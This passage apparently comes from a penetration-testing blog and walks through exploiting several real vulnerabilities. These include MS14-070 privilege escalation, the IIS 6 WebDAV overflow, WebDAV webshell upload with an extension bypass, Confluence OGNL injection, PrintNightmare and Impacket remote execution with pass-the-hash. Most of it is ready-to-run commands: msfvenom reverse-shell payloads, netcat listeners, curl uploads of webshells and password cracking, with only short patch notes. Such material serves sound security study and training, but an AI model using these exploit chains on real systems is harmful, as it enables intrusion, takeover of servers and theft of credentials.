5. To view all users including local and domain users that have logged in to this machine

  • whoami /all

6. You can also see local users using powershell

  • Get-LocalUser
  • Get-LocalUser | Select-Object -Property Name,Enabled,LastLogon

7. We could also get usernames by inspecting the users directory (C:/Users)

  • Get-ChildItem C:/Users -Force
  • Get-ChildItem C:/Users -Force | Select Name

8. The "Net Accounts" command is used to set the policy settings on local computer, such as Account policies and password policies. This command can't be used on domain controller. This command is only used on local computer.

  • net accounts

9. Learn more about a specific local user

  • net user administrator

10. net localgroup displays the name of the server and the names of local groups on the computer.

  • net localgroup

11. you can also get the local groups using Powershell

  • Get-LocalGroup
  • Get-LocalGroup | ft Name

12. You can also see the users that belong to a group

  • net localgroup administrators

13. You can also get user membership using powershell

  • Get-LocalGroupMember Administrators
  • Get-LocalGroupMember Administrators | ft Name,PrincipalSource


Microsoft Windows Server 2003 SP2 – TCP/IP IOCTL Privilege Escalation (MS14-070) – CVE-2014-4076

Microsoft Windows TCP/IP stack (tcpip.sys and tcpip6.sys) could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper handling of objects in memory. By running a specially crafted application, an authenticated attacker could exploit this vulnerability to run arbitrary code in the context of another process and potentially take complete control over the system.

Affected Products

Microsoft Windows Server 2003 SP2

Microsoft Windows Server 2003 SP2 Itanium

Microsoft Windows Server 2003 SP2 x64

Exploit 1 (Using a script)

1. Identify the server is vulnerable to CVE-2014-4076, I used (https://github.com/bitsadmin/wesng)

2. Once you have verified it, you can compile one of the exploits available at exploit-db, I will use (https://www.exploit-db.com/exploits/37755) as an example

3. Download the exploit

  • searchsploit "TCP/IP IOCTL"
  • searchsploit -m windows/local/37755.c

4. Compile it

  • sudo apt-get install gcc-mingw-w64
  • i686-w64-mingw32-gcc-win32 37755.c -o exploit.exe -lws2_32

Note: I get an error at compiling, so we have to solve that

5. To solve the compiling issue do the following


  • REPLACE: typedef _Return_type_success_(return >= 0) LONG NTSTATUS;

6. Now try to recompile

  • i686-w64-mingw32-gcc-win32 37755.c -o exploit.exe -lws2_32
  • ls -l exploit.c

7. Having the executable compiled, now it is time to have it transferred to the remote server. First start a SMB server at the attacking machine

  • python3 ./impacket/examples/smbserver.py evilshare .

8. Now from the windows host scan the share and download the

  • net view \\
  • dir \\
  • copy \\\EVILSHARE\exploit.exe exploit.exe

9. Verify the file has been downloaded. You can also attempt to download to %TEMP% folder if you don’t have permissions in the current directory

  • dir

10. Now verify the current user, run the script, and verify if the session has been elevated.

  • whoami
  • exploit.exe
  • whoami

Note: As you can see we elevated from regular user “cr7” to “nt authority\system”

Exploit 2 (Metasploit)

1. Having a meterpreter session, we can now run a module dedicated to the CVE-2014-4076 (exploit/windows/local/ms14_070_tcpip_ioctl)

  • background
  • search cve:2014-4076

2. Select the post exploitation module and see its options

  • use exploit/windows/local/ms14_070_tcpip_ioctl
  • show options

3. In this case I will set SESSION, LHOST & LPORT, then run it

  • set SESSION 11
  • set LHOST
  • set LPORT 8877
  • run

4. After a successful run, a new session will be created with “nt authority\system” permissions.

  • sysinfo
  • shell
  • whoami


Apply the appropriate patch for your system, as listed in Microsoft Security Bulletin MS14-070








Microsoft IIS ScStoragePathFromUrl function buffer overflow – CVE-2017-7269

Microsoft IIS is vulnerable to a buffer overflow, caused by improper bounds checking by the ScStoragePathFromUrl function in the WebDAV service. By sending an overly long header beginning with If: http:// in a PROPFIND request, a remote attacker could overflow a buffer and execute arbitrary code on the system.

Affected Products

Microsoft IIS 6.0



  • nmap -T4 -p80 --script=http-iis-webdav-vuln

  • nmap --script http-webdav-scan -p80

Exploitation (Metasploit)

1. For this we will use the module (iis_webdav_scstoragepathfromurl)

  • search cve:2017-7269
  • use exploit/windows/iis/iis_webdav_scstoragepathfromurl
  • show options

2. Set the required options in this case

  • set RHOSTS
  • set RPORT 80
  • set LHOST
  • set LPORT 4444
  • run

3. Once, we get the connection back we can get out shell

  • shell

Note: You can use different payloads other than meterpreter, example windows/shell/reverse_tcp

1. Exploitation (Script)

There is another way to exploit this vulnerability using a custom script, I will use (https://github.com/danigargu/explodingcan)

1. Download the script from GitHub

  • git clone https://github.com/danigargu/explodingcan.git
  • cd explodingcan
  • ls

2. Using MSFVenom create a payload in shellcode, and save it to a file

  • msfvenom -p windows/shell_reverse_tcp -f raw -e x86/alpha_mixed LHOST= LPORT=4455 > shellcode_rev

3. Now start a netcat listener

  • nc -lvp 4455

4. Run the script and pass the reverse shellcode as argument

  • python explodingcan.py shellcode_rev

5. Now check the listener

2. Exploitation (Script)

There is another way to exploit this vulnerability using a custom script, I will use (https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269)

1. Download the script from GitHub

  • git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git
  • cd iis6-exploit-2017-CVE-2017-7269
  • ls

2. Now start a netcat listener

  • nc -lvp 4455

3. Run the script and pass the arguments it needs, you can rename the script to add .py extension

  • python "iis6 reverse shell" 80 4455

4. Now check the listener, we should have a shell back

  • whoami


Refer to Microsoft KB3197835 for patch, upgrade or suggested workaround information.








Exploiting WebDAV

WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.

The basic functionality of WebDAV includes enabling users to share, copy, move and edit files through a web server. It can also be used to support collaborative applications with features like file locking and revision tracking.

A HTTP Server with WebDav active is a server where you probably can update, delete, move, copy files. Sometimes you need to have valid credentials (usually check with HTTP Basic Authentication).

You should try to upload some webshell and execute it from the web server to take control over the server.

Other common configuration is to forbid uploading files with extensions that will be executed by the web server, you should check how to bypass this:

  • Upload files with executable extensions (maybe it's not forbidden).
  • Upload files without executable extensions (like .txt) and try to rename the file (move) with an executable extension.
  • Upload files without executable extensions (like .txt) and try to copy the file (move) with executable extension.
  • (OPTIONAL) you can bypass by adding at the end of the name ";.txt" and the file will be executed as if it were a .asp file (you could also use ".html" instead of ".txt" but DON'T forget the ";", Then you can upload your shell as a ".txt" file and copy/move it to a ".asp;.txt" file.

WebDAV Features and Use

WebDAV extends HTTP headers for communication with a server. The new headers include:

  • COPY, copy a resource
  • MOVE, move a resource
  • MKCOL, create a collection, for example, a folder
  • PROPFIND, retrieve properties stored as XML
  • PROPPATCH, change and/or remove properties
  • LOCK, put a lock on a resource
  • UNLOCK, remove a lock from a resource



1. Identify whether WebDAV is running using Metasploit. The scanner will return some HTTP information, including the Apache version number and whether WebDAV is enabled or not.

  • use auxiliary/scanner/http/webdav_scanner
  • show options
  • set RHOST
  • run


DAVTest tool tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.

DAVTest supports:

  • Automatically send exploit files
  • Automatic randomization of directory to help hide files
  • Send text files and try MOVE to executable name
  • Basic and Digest authorization
  • Automatic clean-up of uploaded files
  • Send an arbitrary file

This program attempts to exploit WebDAV enabled servers by:

  • attempting to create a new directory (MKCOL)
  • attempting to put test files of various programming langauges (PUT)
  • optionally attempt to put files with .txt extension, then move to executable (MOVE)
  • optionally attempt to put files with .txt extension, then copy to executable (COPY)
  • check if files executed or were uploaded properly
  • optionally upload a backdoor/shell file for languages which execute
  • Additionally, this can be used to put an arbitrary file to remote systems.


1. Run the tool help to see its options

  • davtest --help

2. Test File Permissions with DAVTest, all we need to do is provide it with a valid URL pointing to an instance of WebDAV. Naturally, use the -url switch followed by the correct URL. It begins by testing the connection and attempts to create a test directory, which we see is a success. Next, DAVTest will send a variety of different types of files to determine what can be uploaded.

  • davtest -url

NOTE: testing for file execution. We can see there the ones that could execute .txt and .html only

  • 3. Now we can check some of the files that we uploaded using PUT

Manual DAV test

1. Create a .txt file

  • echo "Welcome to Vk9 Security" > file.txt
  • curl -i -s -k -X PUT -d @file.txt
  • curl -i -s -k -X GET

2. We can also visit it from the browser



1. Scan the website using nikto, you may find info there

  • nikto -h


  • nmap -T4 -p80 --script=http-iis-webdav-vuln


1. Exploitation (BurpSuite)

1. We can inspect what DAVtest is doing by redirecting traffic to BurpSuite or any other web proxy. First configure the proxy to redirect traffic from the remote host to the local address

  • Bind port 80 and loopback only, in binding tab

  • Redirect traffic from remote host, in request handling tab

2. Make sure the listener has been created

3. If you run DAVtest to localhost, you will receive the requests into BurpSuite

  • davtest -url http://localhost

4. Forwarding all the requests and then looking at the HTTP history you can inspect the activity

5. We can now create our own file using one of those PUT requests and sending it to repeater, send to repeater

6. Edit the content, and send the crafted request, in this case we got a “201 Created” response back from the server.

7. Now, if we go to the browser and visit we should see our crafted message


Note. Tipically, we just need to upload a reverse shell file that the server would be able to interpret.

8. First create a reverse shell, I will choose ASPX as the previous curl output indicates “X-Powered-By: ASP.NET”

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9999 -f aspx

9. Start a listener, in this case I will use Metasploit

  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set LHOST
  • set LPORT 9999
  • run

10. Send the reverse shell code created with MSFVenom via BurpSuite repeater, as we have been doing. In this particular case we are getting “403 Forbidden”. Which means this file type is not allowed.

11. I will try to change the file name as reverse.html, as it accepted .txt and .html, it worked “201 Created” is the server response.

12. If I try to execute it, it wont work as the .html doesn’t execute .aspx

13. Looking at the other HTTP methods there is one named MOVE, we can try to rename reverse.html to reverse.aspx

  • curl -i -s -k -X 'OPTIONS' ''

Use move to change the file name



  • MOVE /reverse.html HTTP/1.1
  • Destination: reverse.aspx


  • HTTP/1.1 201 Created
  • Location: http://www.contoso.com/pub2/folder2/


14. Now using the same request we uploaded reverse.html, we will change the file extension to .aspx

15. Visiting the reverse.aspx file via browser show now execute our shell, we should see a white screen not a 404 page


16. Looking at the meterpreter session we can now see the incoming connection

  • sysinfo

2. Exploitation (Curl)

1. We will now do the same thing but using Curl. This time I will upload a webshell (cmdasp.aspx)

  • cd /usr/share/webshells/aspx/
  • curl -i -s -k -X PUT -d @cmdasp.aspx

Note: We got a “201 Created” response from the server which means it was uploaded.

2. Now visiting the file we uploaded we see plain text as only .txt and .html were allowed in this scenario.


3. Using Curl we can rename the file, to change the extension

  • curl -i -s -k -X MOVE -H 'Destination:'

4. As we got a 201 response, now we visit the new file


5. We can now, run commands

  • whoami

3. Exploitation (Cadaver)

cadaver is a command-line WebDAV client, with support for file upload, download, on-screen display, in place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking.


1. Display the tool help commands

  • cadaver --help

2. Display tool version

  • cadaver --version

3. connect to a vulnerable WebDAV host

  • cadaver
  • help
  • <TAB><TAB>

4. Being there you can run limited system commands, example:

  • pwd
  • ls
  • cat file.txt

5. You delete files using DELETE method

  • delete file.txt

6. Download file from the server using GET method

  • get reverse.aspx
  • lls

7. You can upload new files, we will upload a webshell again, first as .txt, then move it to .aspx, as .aspx was forbidden by the server

  • lcd
  • lls
  • put cmdasp.aspx
  • put cmdasp.aspx cmdasp.txt

8. Change the file extension from .txt to .aspx

  • move cmdasp.txt cmdasp.aspx

9. Now you can visit the website using the browser, and find cmdasp.aspx


Note: You can upload reverse shells or any function you need.

10. You can also forward the requests from cadaver to a proxy, I will use BurpSuite for this, so, you can inspect what the application is sending and doing, also craft those requests as you need.

  • cadaver -p

4. Exploitation (Cadaver)(authenticated)

1. Having already credentials we could try the previous technique (administrant:sleepless)

  • cadaver http://muddy.ugc/webdav
  • username: administrant
  • password: sleepless

2. Having access we can upload our own Shell, I will use php-reverse-shell.php, edit the $ip & $port variables to match your listener

  • find / -name php-reverse-shell.php 2> /dev/null
  • cp /usr/share/webshells/php/php-reverse-shell.php .
  • vi php-reverse-shell.php

3. Start a listener in your machine

  • nc -lvp 5555

4. Now, upload the listener to the remote server, using cadaver

  • ls
  • put php-reverse-shell.php
  • ls

5. Now execute the script, either by browser or using curl. For this demonstration I will execute it using curl

  • curl http://muddy.ugc/webdav/php-reverse-shell.php -u administrant:sleepless

6. Check on your reverse shell, there should be a new session opened

  • whoami

Extra (Post credentials)

1. If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:

  • /etc/apache2/sites-enabled/000-default

Inside it you could find something like:

2. Inside this type of files (AuthUserFile) you will find the username and a hash of the password. These are the credentials the webdav server is using to authenticate users.

3. You can try to crack them, or to add more if for some reason you want to access the webdav server

  • htpasswd /etc/apache2/users.password <USERNAME>

4. To check if the new credentials are working you can do:

  • wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Extra 2 (Post credentials)

1. We can also get credentials from /var/www/html/webdav/passwd.dav , In this particular scenario I was able to read this file using LFI technique

  • /var/www/html/webdav/passwd.dav

2. We can crack it using john the reaper, first create a file with the credentials to crack

  • vi creds.txt
  • cat creds.txt

3. Now, use john against this credential file

  • john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt

Confluence Server 7.12.4 – ‘OGNL injection’ Remote Code Execution (RCE) (Unauthenticated)

Confluence is a collaboration wiki tool used to help teams to collaborate and share knowledge efficiently. With confluence, we can capture project requirements, assign tasks to specific users, and manage several calendars at once.

Atlassian Confluence Server and Center code could allow a remote attacker to execute arbitrary code on the system, caused by a webwork OGNL injection flaw. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Affected Products

Confluence Server and Data Center versions before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5 are affected by this vulnerability.

Atlassian Confluence Server 6.9.0

Atlassian Confluence Server 6.12.0

Atlassian Confluence Server 6.7.0

Atlassian Confluence Server 6.13.0

Atlassian Confluence Server 6.14.0

Atlassian Confluence Server 6.15.0

Atlassian Confluence Server 6.11.0

Atlassian Confluence Server 7.1.0

Atlassian Confluence Data Center 6.11.0

Atlassian Confluence Data Center 6.12.0

Atlassian Confluence Data Center 6.13.0

Atlassian Confluence Data Center 6.14.0

Atlassian Confluence Data Center 6.15.0

Atlassian Confluence Data Center 7.1.0

Atlassian Confluence Server 7.9.0

Atlassian Confluence Server 7.10.0

Atlassian Confluence Server 4.0.0

Atlassian Confluence Server 5.0.0

Atlassian Confluence Server 6.0.0

Atlassian Confluence Server 6.1.0

Atlassian Confluence Server 6.2.0

Atlassian Confluence Server 6.3.0

Atlassian Confluence Server 6.4.0

Atlassian Confluence Server 6.5.0

Atlassian Confluence Server 6.6.0

Atlassian Confluence Server 6.8.0

Atlassian Confluence Server 7.0.0

Atlassian Confluence Server 7.2.0

Atlassian Confluence Server 7.3.0

Atlassian Confluence Server 7.4.0

Atlassian Confluence Server 7.5.0

Atlassian Confluence Server 7.6.0

Atlassian Confluence Server 7.7.0

Atlassian Confluence Server 7.8.0

Atlassian Confluence Server 7.11.0

Atlassian Confluence Server 7.12.0

Atlassian Confluence Data Center 4.0.0

Atlassian Confluence Data Center 5.0.0

Atlassian Confluence Data Center 6.0.0

Atlassian Confluence Data Center 6.1.0

Atlassian Confluence Data Center 6.2.0

Atlassian Confluence Data Center 6.3.0

Atlassian Confluence Data Center 6.4.0

Atlassian Confluence Data Center 6.5.0

Atlassian Confluence Data Center 6.6.0

Atlassian Confluence Data Center 6.7.0

Atlassian Confluence Data Center 6.8.0

Atlassian Confluence Data Center 6.9.0

Atlassian Confluence Data Center 6.10.0

Atlassian Confluence Data Center 7.0.0

Atlassian Confluence Data Center 7.2.0

Atlassian Confluence Data Center 7.3.0

Atlassian Confluence Data Center 7.4.0

Atlassian Confluence Data Center 7.5.0

Atlassian Confluence Data Center 7.6.0

Atlassian Confluence Data Center 7.7.0

Atlassian Confluence Data Center 7.8.0

Atlassian Confluence Data Center 7.9.0

Atlassian Confluence Data Center 7.10.0

Atlassian Confluence Data Center 7.11.0

Atlassian Confluence Data Center 7.12.0

Atlassian Confluence Data Center 7.12.4

Vulnerable paths







How to exploit

1. Verify connectivity to the Confluence server

CLI check

  • curl -i -s -k -X POST ""


2. Capture the request log in request using a web proxy, I’d be using BurpSuite.

3. Send it to repeater

4. Replace the URI and the os_username line with

  • /pages/createpage-entervariables.action
  • queryString=\u0027%2b#{5*10}%2b\u0027

Note: \u0027%2b#{5*10}%2b\u0027 is Unicode which is decoded to '+#{5*10}+'

5. Now send the crafted request. In the response you should search for querystring, and see the maths done correctly, result 5 * 10 = 50

6. Validating using curl

  • curl -i -s -k -X 'POST' --data-binary 'queryString=\u0027%2b#{5*10}%2b\u0027' '' | grep -i querystring

At this point we have validated the vulnerability, now we need to get around and run some payload. In this case I will use 2 existing payloads

Exploitation (example 1)

1. For this first example I will use (https://github.com/taythebot/CVE-2021-26084) which is written in GO lang

  • git clone https://github.com/taythebot/CVE-2021-26084.git
  • cd CVE-2021-26084
  • ls

2. run the command

  • go run exploit.go -t -i

Exploitation (example 2)

1. For this first example I will use (https://github.com/h3v0x/CVE-2021-26084_Confluence) which is written in Python

  • git clone https://github.com/h3v0x/CVE-2021-26084_Confluence.git
  • cd CVE-2021-26084_Confluence
  • ls

2. run the command

  • python3 Confluence_OGNLInjection.py -u


Refer to Confluence Security Advisory - 2021-08-25 for patch, upgrade or suggested workaround information.











PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service

Microsoft Windows could allow a remote attacker to gain elevated privileges on the system, caused by a flaw in the Print Spooler component. By persuading a victim to open specially-crafted content, an attacker could exploit this vulnerability to execute arbitrary code with higher privileges.

This service spools print (Print Spooler) jobs and handles interaction with the printer. If you turn off this service, you won’t be able to print or see your printers.

The Microsoft Windows Print Spooler service fails to restrict access to the RpcAddPrinterDriverEx() function, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.

The RpcAddPrinterDriverEx() function is used to install a printer driver on a system. One of the parameters to this function is the DRIVER_CONTAINER object, which contains information about which driver is to be used by the added printer.

An attacker can take advantage of the fact that any authenticated user can call RpcAddPrinterDriverEx() and specify a driver file that lives on a remote server. This results in the Print Spooler service spoolsv.exe executing code in an arbitrary DLL file with SYSTEM privileges.

Exploit code for this vulnerability that targets Active Directory domain controllers is publicly available as PrintNightmare. A client uses the RPC call to add a driver to the server, storing the desired driver in a local directory or on the server via SMB.

I will use for this demo https://github.com/cube0x0/CVE-2021-1675

Affected Products

  • Microsoft Windows Server 2008 SP2 x32
  • Microsoft Windows Server 2008 SP2 x64
  • Microsoft Windows 7 SP1 x32
  • Microsoft Windows 7 SP1 x64
  • Microsoft Windows Server 2008 R2 SP1 x64
  • Microsoft Windows Server 2012
  • Microsoft Windows 8.1 x32
  • Microsoft Windows 8.1 x64
  • Microsoft Windows Server 2012 R2
  • Microsoft Windows RT 8.1
  • Microsoft Windows 10 x32
  • Microsoft Windows 10 x64
  • Microsoft Windows Server 2016
  • Microsoft Windows Server 2019
  • Microsoft Windows 10 ARM64
  • Microsoft Windows 10 1809 for x64-based Systems
  • Microsoft Windows 10 1809 for 32-bit Systems
  • Microsoft Windows 10 1809 for ARM64-based Systems
  • Microsoft Windows 10 1607 for 32-bit Systems
  • Microsoft Windows 10 1607 for x64-based Systems
  • Microsoft Windows 10 2004 for 32-bit Systems
  • Microsoft Windows 10 2004 for ARM64-based Systems
  • Microsoft Windows 10 2004 for x64-based Systems
  • Microsoft Windows 10 1909 for 32-bit Systems
  • Microsoft Windows 10 1909 for x64-based Systems
  • Microsoft Windows 10 1909 for ARM64-based Systems
  • Microsoft Windows 10 20H2 for 32-bit Systems
  • Microsoft Windows 10 20H2 for ARM64-based Systems
  • Microsoft Windows 10 20H2 for x64-based Systems
  • Microsoft Windows Server (Server Core installation) 2019
  • Microsoft Windows Server (Server Core installation) 2004
  • Microsoft Windows Server (Server Core installation) 20H2
  • Microsoft Windows Server (Server Core installation) 2016
  • Microsoft Windows Server (Server Core installation) 2012 R2
  • Microsoft Windows Server (Server Core installation) 2012
  • Microsoft Windows Server for X64-based systems (Server Core installation) 2008 SP2
  • Microsoft Windows Server for 32-bit systems (Server Core installation) 2008 SP2
  • Microsoft Windows Server for X64-based systems (Server Core installation) 2008 R2 SP1
  • Microsoft Windows 10 21H1 for 32-bit Systems
  • Microsoft Windows 10 21H1 for ARM64-based Systems
  • Microsoft Windows 10 21H1 for x64-based Systems

For this vulnerability to work the Print Spooler needs to be enabled (Running)

Also, we would need RPC to be an open port at the server side

  • nmap -p 135

How to exploit

For this we will need a user & password for the domain controller. This is done from remote

1. Having already a shell & user credentials, we will first see if Spool service is running

  • Powershell.exe Get-Service Spool

Note: we can also use impaket tools to determine if the server is running the service

  • python3.9 /opt/impacket/examples/rpcdump.py @ | grep MS-RPRN

2. Start a SMB server with anonymous log in enabled, the name of the share is going to be smb which will be hosting /tmp. First, I will edit /etc/samba/smb.conf


map to guest = Bad User

server role = standalone server

usershare allow guests = yes

idmap config * : backend = tdb

smb ports = 445

public = yes

security = user


comment = Samba

path = /tmp/

guest ok = yes

read only = no

browsable = yes

writable = yes

force user = nobody

public = yes

  • sudo vi /etc/samba/smb.conf

3. Now start the SMB service

  • sudo service smbd start
  • sudo service smbd status

Note: If the service is already running just restart smbd “sudo service mbd restart

4. Now test the share, it should be with at least READ permissions

  • smbmap -H

5. In the SMB server create a DLL reverse shell, I’ll use msfvenom, locate it within the share

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=5555 -f dll > rev.dll
  • ls rev.dll

6. Start a netcat listener

  • nc -lvp 5555

6. Download the script (https://github.com/cube0x0/CVE-2021-1675), I’ll place it in /tmp

  • cd /tmp
  • git clone https://github.com/cube0x0/CVE-2021-1675.git

6. Run the script to see its options

  • cd /tmp/CVE-2021-1675
  • python3.9 CVE-2021-1675.py

Note: Before running the script you may need to install the version for impacket for this script to work

  • sudo apt remove --purge impacket-scripts python3-impacket
  • sudo apt autoremove
  • pip3 uninstall impacket
  • git clone https://github.com/cube0x0/impacket #you can also use https://github.com/SecureAuthCorp/impacket
  • cd impacket
  • pip install .
  • sudo python3 ./setup.py install

7. Run the script using the domain controller IP / username / password / SMB reverse shell path

  • python3 ./CVE-2021-1675.py vk9-sec.com/user1:Password1@ '\\\smb\rev.dll'

Note: In my case it seems to error, but the payload gets executed

8. Now check the netcat listener, we should have a session with NT Authority System rights

  • whoami


1. The user I used to exploit this vulnerability has only Domain Users rights

  • net user user1


Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

Alternative: This vulnerability can be mitigated by stopping and disabling the Print Spooler service in Windows.


Disable Spooler service


  • Stop-Service Spooler -Force
  • Set-Service -Name Spooler -StartupType Disabled


  • REG ADD "HKLMSYSTEMCurrentControlSetServicesSpooler" /v "Start" /t REG_DWORD /d "4" /f

(Alternative) Uninstall Print-Services

  • Uninstall-WindowsFeature Print-Services












Impacket Remote code execution (RCE) on Windows from Linux

Impacket is a collection of Python classes and functions for working with various Windows network protocols. It is a centerpiece of many different pentesting tools.

Impacket can work with plain, NTLM and Kerberos authentications, fully supporting passing-the-hash (PTH) attacks and more.


Method Port Used
psexec.py tcp/445
dcomexec.py tcp/135, tcp/445, tcp/49751 (DCOM)
smbexec.py tcp/445
wmiexec.py tcp/135, tcp/445, tcp/50911 (Winmgmt)
atexec.py tcp/445


This method is very similar to the traditional PsExec from SysInternals. In this case, however, Impacket uses RemComSvc utility.

The way it works is that Impacket will upload the RemComSvc utility on a writable share on the remote system and then register it as a Windows service.

This will result in having an interactive shell available on the remote Windows system via port tcp/445.

“You have to have administrator to PSExec.”

Requirements for PSExec

  • Write a file to the share.
  • Create and start a service.


How to use

1. It comes installed already in Kali, you can use whereis to see if it is already installed.

  • whereis psexec
  • psexec.py -h

2. If you don’t have it download it

  • git clone https://github.com/SecureAuthCorp/impacket.git
  • cd impacket
  • find . -iname *psexec* 2> /dev/null
  • python3.9 ./examples/psexec.py -h

2. Basic SMB session using user/password combination. You have to be administrator or have SVCManager service rights

Successful (Administrator user)

  • python3.9 ./examples/psexec.py vk9-sec/vry4n:Admin.1@

Unsuccessful (Regular user)

  • python3.9 ./examples/psexec.py vk9-sec/user1:Password1@

Note: We get an error when using a regular account, in this case we have a Writable directory, but, we don’t have permissions to run SVCManager (Error opening SVCManager on

3. Debug while running, in this case we get “Access Denied

  • python3.9 ./examples/psexec.py vk9-sec/user1:Password1@ -debug

4. Connect using a hash

  • python3.9 ./examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vry4n@

5. Specify a port (if SMB is using other than 445)

  • python3.9 ./examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vry4n@ -port 445

6. Specify the name of the file that will be uploaded

  • python3.9 ./examples/psexec.py vk9-sec/vry4n:Admin.1@ -remote-binary-name EXAMPLE-FILE


Smbexec.py method takes advantage of the native Windows SMB functionality to execute arbitrary commands on the remote system.

This approach does not require anything to be uploaded on the remote system and is therefore somewhat less noisy.

Note that the communication happens solely over port tcp/445.

Smbexec.py uses a similar approach to psexec w/o using RemComSvc. This script works in two ways:

  • share mode: you specify a share, and everything is done through that share.
  • server mode: if for any reason there’s no share available, this script will launch a local SMB server, so the output of the commands executed is sent back by the target machine into a locally shared folder. Keep in mind you would need root access to bind to port 445 in the local machine.

How to use

1. Display the tool basic menu

  • python3.9 ./examples/smbexec.py -h

2. Basic session

  • python3.9 ./examples/smbexec.py vk9-sec/vry4n:Admin.1@

3. Using hashes

  • python3.9 ./examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vry4n@


wmiexec.py uses Windows Management Instrumentation (WMI) interface of the remote Windows system to spawn a semi-interactive shell.

Similarly as dcomexec method, wmiexec requires communication over 3 network ports / services.

First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.

This makes the wmiexec method more noisy than the other methods.

How to use

1. Display the tool help menu

  • python3.9 ./examples/wmiexec.py -h

2. Basic connection

  • python3.9 ./examples/wmiexec.py vk9-sec/vry4n:Admin.1@

3. Connecting using hashes

  • python3.9 ./examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vry4n@


atexec.py uses the Task Scheduler service (Atsvc) on the remote Windows system to execute a supplied command. All network communication takes place over port tcp/445.

How to use

1. Display basic help menu

  • python3.9 ./examples/atexec.py -h

2. Basic connection and command execution

  • python3.9 ./examples/atexec.py vk9-sec/vry4n:Admin.1@ systeminfo

3. Using a hash

  • python3.9 ./examples/atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vry4n@ systeminfo


Dcomexec.py method uses various DCOM endpoints such as MMC20.Application, ShellWindows or ShellBrowserWindow objects to spawn a semi-interactive shell on the remote system.

Using this method requires communication on multiple network ports (tcp/135, tcp/445) and internally utilizes the DCOM subsystem of the remote Windows system using a dynamically allocated high port such as tcp/49751

This generally makes this method somewhat more noisy that the other methods.

How to use

1. Display the basic help menu

  • python3.9 ./examples/dcomexec.py -h

2. Basic connection

  • python3.9 ./examples/dcomexec.py vk9-sec/vry4n:Admin.1@

3. Using a hash

  • python3.9 ./examples/dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e21bf3dfb1cb61fa095b40fb083149cf vk9-sec/vry4n@

Mapping AD relationship using BloodHound

BloodHound is an application developed with one purpose: to find relationships within an Active Directory (AD) domain to discover attack paths. It does so by using graph theory to find the shortest path for an attacker to traverse to elevate their privileges within the domain.

How Does BloodHound Work?

BloodHound itself is a Web application that's compiled with Electron so that it runs as a desktop app. Its true power lies within the Neo4j database that it uses. Neo4j is a special kind of database -- it's a graph database that can easily discover relationships and calculate the shortest path between objects by using its links.

BloodHound collects data by using an ingestor called SharpHound. It comes as a regular command-line .exe or PowerShell script containing the same assembly (though obfuscated) as the .exe. As it runs, SharpHound collects all the information it can about AD and its users, computers and groups. It even collects information about active sessions, AD permissions and lots more by only using the permissions of a regular user.

SharpHound outputs JSON files that are then fed into the Neo4j database and later visualized by the GUI. This also means that an attacker can upload these files and analyze them with BloodHound elsewhere.

Disclaimer: BloodHound is very noisy, running it on a monitored system will trigger alerts.



1. Download BloodHound, access the folder and look for the executable files

  • git clone https://github.com/BloodHoundAD/BloodHound.git
  • cd BloodHound
  • find . -iname *.exe 2> /dev/null

2. In the same GitHub page go to releases, and, download the executable from there. I’d download BloodHound-linux-x64.zip (For Linux)

  • https://github.com/BloodHoundAD/BloodHound/releases
  • wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.2/BloodHound-linux-x64.zip

3. Unzip the downloaded file

  • unzip BloodHound-linux-x64.zip

5. Install neo4j

  • sudo apt install neo4j

Set Up

1. Start neo4j

  • sudo neo4j console

2. Access web site it indicates, in my case

  • http://localhost:7474

3. Access the web console using the default credentials, then, change the password

  • neo4j / neo4j

4. Now go to the BloodHound folder and execute it

  • cd BloodHound-linux-x64
  • ./BloodHound --no-sandbox

5. Enter neo4j credentials

  • neo4j / admin

Collect the data from the Windows host

In this example, I set a SMB server using impaket-smbserver. Placed the SharpHound.exe file in the SMB partition, then ran and saved the output file in the same location

1. Set SMB server

  • impacket-smbserver smbfolder $(pwd) -smb2support -user vk9guest -password vk9pass

2. In the host run the following powershell commands

  • $pass = convertto-securestring 'vk9pass' -AsPlainText -Force
  • $cred = New-Object System.Management.Automation.PSCredential('vk9guest', $pass)
  • New-PSDrive -Name vk9smb2 -PSProvider FileSystem -Credential $cred -Root \\\smbfolder
  • cd vk9smb2:
  • dir

3. Now, run SharpHound.exe

  • .\SharpHound.exe -c all

4. A .zip file will be generated at the working directory location. Copy that to your Linux machine and import it into BloodHound. Click on upload data in the right menu

5. Wait for the data to be uploaded

6. In the search bar you can search for any AD object to map. I will query svc-alfresco

7. Under database info you can find stats

8. Under node info, after you select a node, you can find details about it

9. Under the Analysis tab you can find queries to run against the node

